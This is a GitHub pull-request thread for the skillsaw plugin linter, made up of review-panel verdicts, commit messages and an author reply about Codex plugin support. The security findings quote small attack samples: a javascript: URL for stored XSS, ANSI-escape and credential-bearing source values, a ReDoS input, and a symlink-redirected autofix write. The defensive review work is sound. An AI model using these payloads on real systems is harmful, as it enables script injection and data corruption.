Required action #2 (the safe_display sweep) landed at 25 sites and correctly removed the userinfo length cap and extended the control-character class — but all four of the specialists who looked at it found the same three residual leaks, each with a working repro putting a ghp_… token into --format json/--format sarif or a raw ESC into the terminal. The panel is unanimous on why they survived: the guard test the last round explicitly asked for was not added, and the one redaction test that exists enumerates branches instead of iterating messages. THREAT_MODEL.md:67 compounds it — the author's response states the rule-name credit was corrected, and git diff shows the row untouched since it was added.

On disagreements. Architecture and QA reached opposite conclusions on --type invariance. Resolved in Architecture's favour on the narrower evidence: QA's matrix probe used _write_plugin, which writes a manifest, so it exercised only the branch that already works; Architecture's repro used a catalog-claimed directory with no manifest and showed the predicate flip. The existing pinning test has the same vacuity, which is why it passes. Severity stays SUGGESTION — it is pre-existing behavior for --type marketplace, not a regression — but the test must be extended or the docstring's claim dropped.

Architecture's A1 stands on its own repro and no other lane contradicts it: a plugin the author declared to Claude by listing it in .claude-plugin/marketplace.json loses command-frontmatter and command-naming relative to 43654b2, and loses everything under the supported strict: false opt-out. The rule's own doc states the principle the other six gates don't implement. Against "never break existing rules for users of skillsaw," that is blocking.

The Slopinator's four items are blocking by this panel's own calibration, and by the maintainer's explicit request in this PR's thread that comments not backreference previous commits. Three are past-tense narration of defects that existed only between two commits on this branch; the fourth (test_codex_rules.py:4945) asserts the codebase has a gap that linter.py:_is_vendor_managed demonstrably closed. Each is a one-docstring edit with replacement wording supplied.

Filtered as noise or already-resolved: the Ecosystem lane's prior _is_marketplace_filename objection (withdrawn — api_marketplace.json is real in OpenAI's catalog with 29 entries); QA's test_integration.py:3729 whole-document reserialisation note (raised and declined once already); the except ValueError / fragment-branch coverage gaps (defensible version-defensiveness, one-line adds at best); plugin_structure.py's entry.name as a standalone blocker — three lanes agree filename-borne escapes are a pre-existing repo-wide formatter gap that agentskill-name shares on main, so it rides along with the redaction fix rather than gating on its own.

Trade-offs ratified. The .codex/plugins/ diagnostic-only stand-down, the prose-stays-in-the-tree decision from 28172ee, the deliberate refusal to dual-lint a Codex catalog at the legacy .claude-plugin/ path, and the SUGGEST autofix confidence on codex-marketplace-registration are all correct calls and were each independently verified against fixtures. The size question is closed per the maintainer's ruling; the panel found no speculative subsystem — every part it probed is load-bearing against the openai/plugins corpus.


Required Actions Before Merge

  1. src/skillsaw/lint_tree.py:297 — restore hook/settings/MCP scanning on catalog-claimed plugins. (Security BLOCKING 1, corroborated by QA metadata validation too strict: rejects nested objects #11; confirmed 0.17 → 0.18 regression.) Gate the four _add_block stand-downs on a CodexPluginConfigNode actually existing for plugin_path (i.e. a contained .codex-plugin/plugin.json), not on the claim-based is_codex_only_plugin(). Separately, settings.json / settings.local.json have no replacement attach in the Codex loop at all — restore them or state the omission. Add an integration fixture asserting hooks-dangerous still fires on a plugin claimed only by .agents/plugins/marketplace.json, and consider a general invariant test that adding a Codex catalog never removes a violation.

  2. Finish the safe_display sweep and add the guard test that was asked for last round. (Python BLOCKING, Security BLOCKING 2, QA BLOCKING 1 + SUGGESTION 3/4, Writer BLOCKING — four lanes, three independent repros.)

    • codex/marketplace_json_valid.py:344 — wrap source_type (the :359 site is safe; it only sees the four literals).
    • codex/_helpers.py:37_URL_USERINFO's (?<=://) anchor misses //u:tok@h/x, u:tok@h/x, and tok@github.com:o/r.git. All three reach JSON/SARIF verbatim.
    • codex/plugin_structure.py:51 — wrap entry.name (lesser instance; file_path=entry carries the same bytes, so the formatter boundary is the real fix — but the commit message claims this file is covered).
    • Add CodexMarketplaceJsonValidRule to the redaction test's rule list (tests/test_codex_rules.py:2036-2040), and invert the assertion to iterate every message a rule produces rather than enumerating branches — this is the third consecutive round where the leaking site was the one absent from the fixture list. Include a "\x1b" not in message assertion.
    • THREAT_MODEL.md:67 — change marketplace-json-validcodex-marketplace-json-valid, and either finish the sweep and keep mitigated or set partially_mitigated.
  3. src/skillsaw/rules/builtin/plugins/json_required.py:46-48 — apply the Claude-marketplace carve-out consistently. (Architecture BLOCKING, with a base-vs-HEAD repro.) Six sibling gates ignore marketplace_entries, so a plugin listed in .claude-plugin/marketplace.json loses command-frontmatter and command-naming versus 43654b2, and loses all findings under the supported strict: false opt-out. Move the carve-out into the shared predicate, or split it into two explicitly named predicates. Add a test with a Claude-catalog-listed dual-format directory asserting command-naming still fires.

  4. Document the Codex exemption for Claude-format rules. (Writer BLOCKING.) src/skillsaw/rules/docs/plugin-json-required.md:3 is now factually wrong — its unqualified "a plugin must have .claude-plugin/plugin.json" leads a Codex author to add one and re-enable exactly the false positives this PR removes. Add a scope paragraph there and to the six siblings (plugin-readme, plugin-naming, command-frontmatter, command-naming, command-sections, agent-frontmatter), modelled on the ## Codex marketplaces section this PR already added to marketplace-json-valid.md, plus a row in docs/repo-types.md. Regenerate both copies via make update.

  5. Remove the four review-history docstrings from the test suite. (Slopinator BLOCKING 1-4; the maintainer asked for this explicitly in this thread.) tests/test_codex_rules.py:2056 (the unreproducible "40% of this rule's hard errors" measurement), :1411 (a PluginNode drop that no released version ever did), :4945 (asserts a fixer gap that linter.py:_is_vendor_managed closes — factually false about shipped code), and tests/test_integration.py:540 (a defect that existed only between two commits on this branch). Replacement wording is supplied inline in the Slopinator section.


Optional Follow-ups

Worth doing in this PR if convenient

  • docs/extractor.py:529 — required action Fix all references to Claudelint in the code #6's second half. The outer is_relative_to filter in _extract_codex_skills is still O(plugins × skills); measured 458k calls, 15.2 s → 3.7 s for byte-identical output by building an owner → skills map once in _extract_codex_plugins. (Python Expert)
  • context.py:1029-1042 / tests/test_codex_rules.py:1425 — the --type invariance test passes vacuously (_write_plugin always writes a manifest). Extend it with a manifest-less catalog-claimed directory, or drop the invariance claim from the docstring. (Architecture A2)
  • Six more past-tense/review-residue comments: context.py:1065-1068, docs/extractor.py:524-526, marketplace/json_valid.py:92, codex/marketplace_json_valid.py:282-283, plus the five test sites in Slopinator SUGGESTION 8 and the two NOTE 9 asides. One-line tense edits; rationale worth keeping in all cases. (Slopinator)
  • tests/test_module_layering.py:128 — one-line glob over formats/*.py; formats/codex.py currently sits uncovered at the same import position the test exists to protect. (Architecture A4, QA Add self-lint test #10)
  • Missing regression tests for landed fixes: the $HOME/anchor bound (cli/_helpers.py:78, zero coverage — QA BLOCKING 2, downgraded here because the code is correct and verified); the dedupe-poisoning fixture; a render_markdown-level assertion for the Markdown table escape; the dual-manifest half of the hooks-json-valid/mcp-valid-json gating (both current tests short-circuit on owner is None); distinct_plugin_dirs() dedup. (QA [Auto] Sync hooks rules with upstream Claude Code spec #2, [Auto] Remove commands-dir-required and commands-exist rules, warn on unknown rule IDs #5, Fix all references to Claudelint in the code #6, Implement .claude/rules #7)

Post-merge issues

  • plugin-readme is the last find(PluginNode) rule with no provenance gate — decide explicitly and document it. (Architecture A3)
  • Extract a CodexDiscovery collaborator from RepositoryContext (873 → 1584 lines; apply_excludes() hand-invalidates five caches in order). (Architecture A7)
  • Re-parent Codex-owned blocks at tree-build time and delete _OwnBlocks / _root_claimed_blocks / _BlockSources. (Architecture A6)
  • Import Codex helpers from skillsaw.formats.codex rather than through skillsaw.context. (Architecture A5)
  • A codex-shapes: auto | always | never knob for the provenance-keyed mcp-valid-json / hooks-json-valid strictness. (Architecture A8)
  • Short-circuit a Codex-schema catalog found at the legacy .claude-plugin/marketplace.json path to one actionable message — OpenAI's spec lists that path as supported, so this punishes a documented compatibility route. (Ecosystem)
  • Route block.parse_error through safe_display() in openai_metadata.py:64 (and its three pre-existing YAML-rule siblings); collapse to the first line. (Security 3)
  • _safe_url on the Claude path in docs/extractor.py:576-577; blockquote-safe description in markdown_renderer.py:135; backtick escaping in _table_cell. (Security 4/5, Python NOTE)
  • Pin openai/plugins in .github/workflows/rule-impact.yml:81 as test.yml:279 already does. (Security 6)
  • Mark _SOURCE_REQUIRED_FIELDS' url entry as unattested in references/codex.md's Sync notes, or drop it. (Ecosystem NOTE)
  • Delete the unreachable ./-strip at codex/marketplace_json_valid.py:66-67 (PurePosixPath.as_posix() already handles it) and add a cross-catalog _source_identity test. (QA [Auto] Add rules-valid rule for .claude/rules/ linting #9)
  • Mirror the third base-class option (direct LintTarget for structured YAML, OpenAIMetadataBlock as reference) into docs/plugins.md. (Writer)
  • Add a content-* / security-* row to the .codex/plugins/* table in docs/repo-types.md:109-116 — secret scanning reaching vendored content is the more security-relevant half and it is currently undocumented. (Writer)
  • Boyscout: insert the <!-- RULE_COUNT --> marker in docs/index.md:18 so "more than 40 rules" stops drifting. (Writer)
  • A single control-character sanitizer on file_path in formatters/text.py would close the repo-wide filename-escape class that plugin_structure.py and agentskill-name both share. (Security NOTE, QA [Auto] Validate agentskills.io optional frontmatter fields #4)
  • The squash-merge commit body should describe the shipped feature, not the seventeen review rounds. (Slopinator NOTE 10)

Generated by skillsaw-review-panel

Ownership of a plugin directory is now decided in exactly one place.
RepositoryContext.provenance() returns a cached PluginProvenance record
— which ecosystems claim the directory (claude, codex, both), on what
evidence, and whether it is vendor-installed — built filesystem-first
from markers, contained manifests, Claude marketplace listings, and
Codex catalog files enumerated independently of discovery gating, so
the answer is invariant under --type overrides. Every ownership
predicate is a view over this record.

The lint tree builds plugins in ONE pass over the union of claimed
directories: one container per directory, prose (commands/, agents/,
rules/, README) attached once with containment for every ecosystem,
Claude configs and the Codex manifest cluster attached from provenance
through the contained helpers. The per-ecosystem loop pair — whose
gaps produced the prose-drop, the hook-drop, and this round's
catalog-claimed regression — no longer exists. Hook/MCP scanning is
restored for catalog-claimed plugins without a manifest (the Claude
attach stands down only when the Codex cluster re-attaches), and
settings.json always attaches.

Adding the next ecosystem is now a recipe, documented under
"Ecosystem provenance" in the development rules: an evidence probe, a
catalog enumerator, a config cluster in the single pass, and a format
gate — prose comes free.

Also from the third panel round: the redaction sweep is complete
(source_type, plugin_structure names, path_problem returns) with the
userinfo pattern covering scheme-relative, bare, and scp-style
credentials and the redaction test inverted to assert over every
message every Codex rule produces; the Claude-marketplace carve-out
lives in the shared predicate so all seven format gates honor it; the
seven Claude-format rule docs state their Codex scope; four
review-history docstrings are re-tensed; the --type invariance test
covers the manifest-less claim; module layering covers formats/*; and
rule-impact pins openai/plugins to the same SHA as test.yml.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
@not-stbenjam

Copy link
Copy Markdown
Collaborator

Third panel verdict addressed in 74ec317 — with the structural fix, not another patch round

Per the maintainer's direction, this round went past the finding list to the primitive underneath it.

The architecture change. Ecosystem ownership is now a first-class record: RepositoryContext.provenance() returns one cached PluginProvenance per directory (ecosystems, evidence, installed), built filesystem-first — markers, contained manifests, Claude marketplace listings, and Codex catalogs enumerated independently of discovery gating — so it is invariant under --type by construction, not by promise. Every predicate is a view over it. The lint tree builds plugins in one pass over the union of claimed directories: one container each, prose attached once with containment, configs attached per claiming ecosystem through the contained helpers. The per-ecosystem loop pair whose gaps produced the prose-drop (round 1), the hook-drop, and this round's catalog-claimed regression no longer exists — the defect class is unrepresentable, not re-patched. The recipe for the next ecosystem is documented under "Ecosystem provenance" in the development rules.

The five required actions, in that frame:

  1. Catalog-claimed hook/MCP scanning restored — the Claude attach stands down only when the Codex cluster re-attaches (contained manifest present); settings.json always attaches, stated in-line. The single pass makes the invariant local instead of cross-loop.
  2. Redaction sweep complete: source_type, plugin_structure names, all three path_problem returns; the userinfo pattern now covers scheme-relative, bare, and scp-style forms with no length cap; the test is inverted per the ask — every message from every Codex rule, secret and \x1b both asserted; THREAT_MODEL's T14 rule-name credit corrected, mitigated retained.
  3. Claude-marketplace carve-out unified — it lives in is_codex_only_plugin(), so all seven format gates honor it identically; the divergent copies are gone.
  4. The seven Claude-format rule docs carry a "Codex plugins" scope section (and plugin-json-required's "Why" no longer instructs Codex authors to add a Claude manifest); regenerated via make update.
  5. All four review-history docstrings replaced with the supplied wording.

From the optional list: the --type invariance test now covers the manifest-less catalog claim (it caught a real gap in the claim set while being written — catalogs were discovery-gated; fixed), formats/* is globbed in module layering, and rule-impact pins openai/plugins to test.yml's SHA.

Validation: 3,447 passed / 1 xfailed / 94%; lint and make update clean; openai/plugins full-run canary green (prose visible, zero format-rule leaks, codex rules 0, 180 plugins, err+warn count unchanged); ai-helpers A+ exit 0.

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 74ec317995

ℹ️ About Codex in GitHub

Codex has been enabled to automatically review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

When you sign up for Codex through ChatGPT, Codex can also answer questions or update the PR, like "@codex address that feedback".

Comment thread src/skillsaw/lint_tree.py Outdated
Comment thread src/skillsaw/lint_tree.py
Comment thread src/skillsaw/docs/extractor.py Outdated
Comment thread src/skillsaw/lint_tree.py Outdated
Comment thread src/skillsaw/rules/builtin/codex/openai_metadata.py
Comment thread src/skillsaw/context.py
Comment thread src/skillsaw/lint_tree.py
Comment thread src/skillsaw/rules/builtin/codex/openai_metadata.py Outdated
Comment thread src/skillsaw/rules/builtin/agentskills/evals_required.py
@not-stbenjam not-stbenjam added the panel-review Trigger a multi-specialist review panel label Jul 27, 2026
@github-actions github-actions Bot removed the panel-review Trigger a multi-specialist review panel label Jul 27, 2026
All from one connector round against the new pass — every finding
verified real and fixed:

- Codex-claimed directories get hooks and MCP exclusively through the
  contained Codex cluster: the Claude-side attach ran first for
  dual-manifest and manifest-less claims, without containment, so a
  symlinked hooks.json parsed an external file's commands (P1).
- The plugin pass unions in catalog claims with no manifest and no
  legacy marker — such a directory had no container at all, so its
  hooks, prose, and skills were silently skipped while the registration
  rule reasoned about the same source.
- settings.json attaches only for Claude-style directories: it is
  Claude-side configuration, and probing it in hostile Codex-only
  checkouts reached _add_block's bare resolve().
- The generated docs read a Codex-only plugin's commands, agents, and
  rules from its container (scoped by containment) instead of
  hard-coding them empty; the prose helpers gained block-list variants.
- A Codex catalog listing ./.claude cannot flip the repository's own
  command content to Codex-only provenance.
- Declared JSON configs recorded under parser roles are excluded from
  the extra-content prose pass, so a broad content glob cannot re-lint
  structured config as instruction text.
- commented_key_line() tolerates YAML merge-key inheritance instead of
  crashing the rule; openai.yaml parser diagnostics pass through
  safe_display(); agentskill-evals-required uses the shared
  contained_eval_file() so an escaping symlink cannot satisfy it.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
@github-actions

Copy link
Copy Markdown
Contributor

Review Panel Verdict

Disposition: REQUEST_CHANGES


Specialist Findings

Architecture Reviewer

No BLOCKING issues. The PluginProvenance + single-pass plugin loop is the right shape, and formats/codex.py correctly keeps state-free manifest readers out of context.py.

SUGGESTION — src/skillsaw/docs/extractor.py:352 (_root_claimed_blocks, with _OwnBlocks:342, _BlockSources:380). A Codex plugin at the repo root never gets its .mcp.json under its own node: build_lint_tree attaches root .mcp.json at lint_tree.py:232, poisoning seen/seen_roles, so _add_codex_block(...) at lint_tree.py:373 is a no-op. Verified on a synthetic root-level Codex plugin. The docs layer then reconstructs plugin containment by path-matching over the whole tree and adds two adapter classes to splice blocks back in — putting the tree's ownership decision in a second place, the exact failure mode the Ecosystem provenance section this PR adds forbids. No rule is affected today only because MCP/hooks rules use a global find(McpBlock). The hooks/hooks.json half of wanted is unreachable. Action: fix in build_lint_tree — move the root .mcp.json attach after the plugin pass, or give a root-level Codex-only plugin a real CodexPluginNode instead of container = root (lint_tree.py:308-312) — then delete the workaround.

SUGGESTION — src/skillsaw/docs/extractor.py:135 (_is_codex_only, used at :53, :300). Unreachable. build_lint_tree constructs a PluginNode only when prov.claude or not prov.codex (lint_tree.py:306-307, the sole construction site), so _is_codex_only is False for every node find(PluginNode) can return — confirmed against both codex/{clean,broken} fixtures, where find(PluginNode) is empty. A second, independently-derived answer to a question the tree already decided. Action: delete _is_codex_only/_codex_roots; assert the invariant in tests/test_lint_tree.py instead.

SUGGESTION — src/skillsaw/formats/codex.py:58-113 (safe_resolve, _safe_stat, safe_is_dir/is_file/exists/is_symlink). Nothing about these is Codex-specific — they are the generic filesystem-safety layer, now imported by eight ecosystem-neutral modules including marketplace/json_valid.py:11, a Claude marketplace rule importing from skillsaw.formats.codex. This PR created paths.py for exactly this reason, and its docstring concedes the placement. Action: move the six safe_* helpers to paths.py.

SUGGESTION — seven files (commands/naming.py:35, commands/sections.py:36, commands/frontmatter.py:35, agents/frontmatter.py:39, commands/name_format.py:38, mcp/valid_json.py:21, hooks/json_valid.py:128). "Is this content owned by a Codex-only plugin" is spelled three ways: is_codex_only_plugin(block.path.parent.parent) (four rules, identical six-line comment), _codex_only_owner() in mcp/valid_json.py, and the same two lines inlined in hooks/json_valid.py — while commands/name_format.py:35 does it properly via find_parent(cmd_block, PluginNode). The .parent.parent form is silently coupled to _add_plugin_prose's flat glob (lint_tree.py:170-171). Corroborating: all four files import PluginNode and never use it. Action: add is_codex_only_content(path) to RepositoryContext, call it from all seven sites, drop the unused imports.

SUGGESTION — src/skillsaw/rules/builtin/marketplace/json_valid.py:56-77 (_has_claude_plugin). Answers an ownership question with a fresh filesystem probe — exactly what the Ecosystem provenance section this PR adds forbids ("Never answer an ownership question with a fresh filesystem probe"). context.provenance(node.path).claude already encodes it and reuses the cache. Action: replace the body with a provenance() read, or add a named claude_marker property if the marketplace-listing half must deliberately not count.

SUGGESTION — src/skillsaw/context.py:1103. provenance() — documented "the single source of truth" — reads Claude evidence through getattr(self, "marketplace_entries", {}). The fallback is load-bearing: _detect_types()_plugins_dir_suggests_claude_marketplace()is_codex_only_plugin()provenance() runs before __init__ assigns marketplace_entries, so records computed there are Claude-blind and cached. Correctness rests on an unconditional _provenance_cache.clear() 600 lines away at :492 and on an elif chain in _detect_types(). Action: initialize marketplace_entries = {} before repo_types is computed and drop the getattr.

SUGGESTION — src/skillsaw/lint_tree.py:97-132. _add_block writes seen_roles (106) but reads only seen (104), while _add_parser_block reads/writes only seen_roles. The two can disagree by order: if _add_parser_block claims (path, HooksBlock) first, a later _add_block attaches a duplicate. Reachable when a root-level Codex manifest declares hooks inside a nested plugin processed later; the linter does no violation dedup, so it surfaces as doubled findings. Action: have _add_block also short-circuit on (resolved, block_cls) in seen_roles.

SUGGESTION — five sites (docs/extractor.py:189/240/253/276, context._codex_local_sources, codex/marketplace_registration.py:497, codex/marketplace_json_valid.py:161). The catalog plugins array is walked in five places, each repeating the same isinstance ladder and able to drift on which malformed shapes it tolerates. Action: add catalog_entries(path) to formats/codex.py and route all five through it.

SUGGESTION — tests/test_module_layering.py:124-155. Net win on file coverage, but loosened twice beyond the stated intent: the stack walk continues on ast.ClassDef as well as functions, yet class bodies do execute at import time, so a class-level from skillsaw.rules.builtin import X now passes; and the original "blocks/* has no rules.builtin dependency even lazily" invariant is relaxed with no replacement. CYCLE_SENSITIVE_MODULES (line 35) also was not extended with skillsaw.context, formats.codex, paths, or blocks.openai, even though context.py gained its first top-level from .utils import read_json. Action: skip only FunctionDef/AsyncFunctionDef; add the four modules.

SUGGESTION — src/skillsaw/context.py:436-493 (apply_excludes). ~35 lines of Codex-specific re-derivation across five interacting locals, including a full re-run of _discover_codex_plugins() — now the hardest method in context.py to reason about. Two resets look wrong: _codex_install_root = _UNSET (466) doesn't depend on the plugin set, and codex_catalog_changed (458) is always False on the constructor path since _discover_codex_marketplaces already applies is_path_excluded. Action: extract _reapply_codex_excludes().

NOTEs. context.py:134/:243, codex/_helpers.py:20-21SKILL_REPO_TYPES/_CODEX_TYPES are mutable sets assigned as class-level Rule.repo_types on 8+ classes, so all alias one object (previously each rule had its own literal); latent only, make them frozenset. context.py:746-748 — the comment claims the re-export is "so existing readers keep working", but the attribute is introduced by this PR (see Slopinator #2).

Verified clean: no import cycles; --type choices auto-wired from the enum; OpenAIMetadataBlock/CodexInline{Hooks,Mcp}Block correctly placed per the prose/config split; _InlineJsonPayload's identity __eq__/__hash__ wins the MRO under @dataclass(eq=False); all five rules declare repo_types/since and none force-enables; the PluginNodeCodexPluginNode swap's silent retirement of plugin-readme/plugin-naming/marketplace-registration is documented in each rule doc; find() memoization not at risk; _is_vendor_managed correctly placed in Linter.

Python Expert

SUGGESTION — src/skillsaw/cli/_helpers.py:78. _resolve_lint_paths() evaluates Path.home().resolve() for every file argument, including the common case where no widening happened (widened is resolved). Path.home() raises RuntimeError("Could not determine home directory.") when HOME is unset and the UID has no /etc/passwd entry — the canonical OpenShift random-UID / distroless setup, and this project explicitly validates against openshift-eng/ai-helpers. Reproduced a traceback at line 78. A new crash path for skillsaw lint <file>, the exact form the shipped pre-commit hook uses — so every hook invocation in such a container aborts with zero output. Also a needless realpath() per argument. Action: compute the bound only inside if widened is not resolved, wrapped in try/except (RuntimeError, OSError).

SUGGESTION — src/skillsaw/context.py:1148. codex_plugin_owning() rebuilds set(self.codex_plugin_roots()) on every call. The docstring above it claims the ancestor-walk-against-a-set removed the O(skills × plugins) cost, but the per-call set construction puts an O(plugins) term straight back. Called per skill from agentskills/_helpers.contained_skill_file and lint_tree.py:135, per HooksBlock and per McpBlock. Measured on a 300-plugin/900-skill catalog: 88.8 ms → 61.0 ms (1.5×) by hoisting to a cached frozenset. Action: add _codex_root_set, cleared in the same apply_excludes branch at line 488.

SUGGESTION — src/skillsaw/lint_tree.py:283-289. The plugin-dir union hand-rolls exactly the dedupe that merge_plugin_dirs() / distinct_plugin_dirs() were added in this same PR to provide, and uses raw candidate.resolve() (286) rather than safe_resolve. Every other resolve in build_lint_tree was deliberately routed through safe_resolve because an unresolvable path raises and aborts the whole lint — formats/codex.py:58-74 spends a 17-line docstring on this hazard. Line 291 has the same inconsistency. Action: use context.distinct_plugin_dirs() and safe_resolve(plugin_path) or plugin_path.

SUGGESTION — src/skillsaw/lint_tree.py:382 and :145,161,196-198. Loop-invariant and redundant I/O in the hot tree-build path: marketplace_dir.resolve() sits inside the per-plugin loop, and the same plugin directory is resolved ~6× per plugin. Profiling on the 300-plugin/900-skill catalog: 18,607 Path.resolve() calls, ~1.8 s of 3.6 s. Action: hoist marketplace_root above the loop; thread the already-computed resolved_plugin into _add_plugin_prose/_add_codex_block/_add_openai_metadata.

SUGGESTION — src/skillsaw/docs/extractor.py:679, 703. _extract_hooks and _extract_mcp_servers are annotated LintTarget, but the Codex callers pass _BlockSources/_OwnBlocks — plain objects with a single find() method and no LintTarget in the MRO. The annotation is wrong; a type-checker would flag every Codex call site. Action: declare a _BlockSource(Protocol) with find().

NOTEs.

  • codex/marketplace_json_valid.py:66-67 — dead branch: PurePosixPath(x).as_posix() already strips leading ./ runs, so normalised can never start with ./. Drop the branch, keep the comment.
  • formats/codex.py:77-93_safe_stat(path, predicate) dispatches by attribute-name string. A typo'd predicate raises AttributeError, not in the except (OSError, ValueError) tuple — so the one failure mode the helper exists to prevent is reintroduced by a refactoring typo, uncaught by any type-checker. Take the unbound method (_safe_stat(path, Path.is_dir)).
  • formats/codex.py:198if safe_is_dir(candidate) if want_dir else safe_is_file(candidate): reads as a syntax error at a glance; hoist probe = … out of the loop.
  • docs/extractor.py:227, 269 — bare unparameterised set annotation, and _remote_entry_docs mutates the caller's set as a cross-catalog dedupe side channel: correct today but invisible from the signature.
  • codex/marketplace_json_valid.py:502 — the guard at 497-501 protects against a non-iterable installation-values, but value not in known still raises TypeError: unhashable type: 'list' if the config arrives as a set and the catalog has "installation": [], skipping every remaining entry — the exact failure the guard was written for. known = list(known) after the isinstance check.

Verified clean: Python 3.9 compat (no match, no runtime builtin-generic subscripts outside from __future__ import annotations). No per-line × per-pattern regex loops in the new rules (all structural JSON/YAML). No post-build tree mutation, so no missing invalidate_find_cache(). No new ruamel round-trips or frontmatter_key_line() bypass; per-blob work correctly hoisted. OpenAIMetadataBlock uses read_yaml_commented() with the commented_* line helpers; no yaml.safe_load()/read_yaml() in new code; JSON rules report at file level with no fabricated lines. Autofix invariants hold: the only new fix() has no regex targets and no frontmatter field, _registerable() is re-derived inside fix() rather than trusting the display flag, allow_nan=False guards the write. is_absolute_path widening: no false positives on realistic relative paths. Packaging: version matches __init__, new packages and rules/docs/codex-*.md covered by existing globs. Inline-hook routing verified — a curl … | sh inline in plugin.json is caught, not dropped.

Security & Supply Chain Reviewer

All 3447 tests pass.

BLOCKING — src/skillsaw/rules/builtin/codex/_helpers.py:40. ReDoS in safe_display(), the sanitizer for untrusted manifest values.

_URL_USERINFO = re.compile(r"(?:[^/@\s:]+:[^@\s]*@)|(?:[^/@\s]+@(?=[^@\s]*[.:]))")

The inline comment claims "The single character class cannot backtrack." That is wrong — each alternative has a backtrackable [^...]+ prefix followed by a literal that must match, so every start position costs O(n) and re.sub is O(n²). Demonstrated with a 60 KB skills value (30 000 a, @, 30 000 b, no . or :): is_absolute_path() fires → path_problem()safe_display(value)33 s of pure CPU for one violation. Scaling: 2 k → 0.16 s, 10 k → 3.8 s, 40 k → 58 s. 200 KB ≈ 6 min, and it multipliesskills accepts an array and plugins[].source.path gives one call per catalog entry, so 100 entries × 60 KB hangs CI for ~an hour. This is the primary declared threat surface; the existing regex-timeout/SIGALRM mitigation (T13) covers only config-supplied content-banned-references patterns, not builtin rule code. Action: cap safe_display output (e.g. 512 chars + ) and replace the backtracking regex with an @-anchored scan. Add an adversarial fixture; correct the "cannot backtrack" comment.

BLOCKING — src/skillsaw/docs/extractor.py:575-576 (sinks docs/html_renderer.py:1130-1131, docs/markdown_renderer.py:155-158). javascript: and Markdown-injection URLs bypass the new docs hardening on the Claude extraction path.

The PR adds _safe_url() (scheme allowlist + paren encoding) and wires it into _extract_codex_plugin(), but _extract_plugin() — the Claude path, whose two homepage/repository sink lines this PR edited (escescAttr) — still does raw str(meta.get("homepage","")). With plugins/evil/.claude-plugin/plugin.json carrying "homepage": "javascript:alert(document.domain)" and a repository containing )![pwn](…): docs --format html renders <a href="javascript:alert(document.domain)">Homepage</a> via innerHTML (escAttr escapes &"<> but says nothing about the scheme), so one click runs script in the published docs' origin; docs --format markdown emits the raw value, where the unescaped ) closes the link early and injects a remote image beacon into the generated README. BLOCKING because it is a live XSS/injection in a code path this PR modified and explicitly claims to harden; claim 6 holds only for Codex manifests, and marketplace metadata is third-party-authored by definition. Action: apply _safe_url() to homepage/repository in _extract_plugin() too, and test both extractors.

SUGGESTION (arbiter escalated to BLOCKING — see synthesis)src/skillsaw/context.py:788 (_inside), codex/marketplace_registration.py:407. Registration autofix writes through a symlinked catalog and corrupts an unrelated in-repo JSON file. _discover_codex_marketplaces()._inside() only proves the catalog resolves inside the repo; nothing checks that the write target is the catalog rather than a symlink aimed elsewhere. With .agents/plugins/marketplace.json → ../../config/app-settings.json and one unregistered plugin, skillsaw fix --suggest reports ✓ Registered 1 plugin(s) and config/app-settings.json gains an injected "plugins" array and is fully reformatted. Defeats claim 5. Action: refuse when the target's resolved path differs from its lexical path, and/or require the parsed document to duck-type as a catalog. Separately, fix() re-serializes with json.dumps(indent=2), so any catalog not already on 2-space indent gets a whole-file reformat.

SUGGESTION — codex/marketplace_json_valid.py:344, codex/plugin_structure.py:51, codex/openai_metadata.py:64. safe_display() is bypassed on several diagnostics that echo untrusted values. T14 is recorded mitigated on the strength of "every diagnostic that echoes a manifest value". It isn't universal — a marketplace.json with "source": {"source": "�[31mEVIL�[0m https://user:s3cr3t@evil.example/x"} produces a message carrying raw ANSI escapes to the text formatter (terminal spoofing) and unredacted URL userinfo into the JSON/SARIF artifact. Same shape at plugin_structure.py:51 (entry.name) and openai_metadata.py:64 (ruamel error strings quote the offending source line back). hooks/json_valid.py:247 has the same gap (pre-existing). Action: wrap the three values in safe_display(); consider making control-char scrubbing a formatter-level guarantee so the invariant can't regress per-rule.

SUGGESTION — docs/markdown_renderer.py:68, :104. Markdown catalog title is not folded through _table_cell(). display_name, version, license, category and tags are folded, but mp.name — the most obviously attacker-controlled field in a shared catalog — is interpolated raw into # {mp.name} and [← Back to {mp.name}](README.md). A name containing ](url), newlines and ## Injected heading lands arbitrary block-level Markdown, headings and links in the published index. (The HTML renderer escapes correctly.) Action: route mp.name and docs.title through _table_cell().

SUGGESTION — src/skillsaw/cli/_helpers.py:78. Path.home() called unguarded for every file-path CLI argument. (Duplicate of Python Expert #1.)

SUGGESTION — THREAT_MODEL.md. No coverage of generated documentation as an injection sink. The PR adds codex_plugin_inputs and T14, but skillsaw docs — ~500 new lines rendering untrusted catalog metadata into HTML served from an origin and Markdown published to a repo — has no entry, despite this PR shipping the mitigations for it (_SAFE_URL_SCHEMES, _URL_FORBIDDEN, _table_cell, escAttr/escJsAttr, _unique_filenames). Findings 2 and 4 are the direct consequence: the mitigation set has no documented invariant to be checked against. Action: add a generated_docs entry point and T15 ("stored XSS / Markdown injection in generated documentation via untrusted manifest metadata") listing the four sanitisers.

NOTEs. Violation messages are unbounded in length — the finding-1 repro produced a single 60 072-character message carried into JSON and SARIF, a payload-size hazard for code-scanning ingestion (capping in safe_display() fixes both). .pre-commit-hooks.yaml's files: . is re.searched against staged filenames so it matches anything with ≥1 character, making the hook effectively always-run — the rationale is sound and docs/pre-commit.md was updated, flagged only so the cost is a conscious trade. rule-impact.yml dropped --depth 1 for all six repos; --filter=blob:none pulls full commit graphs (CI-time cost only).

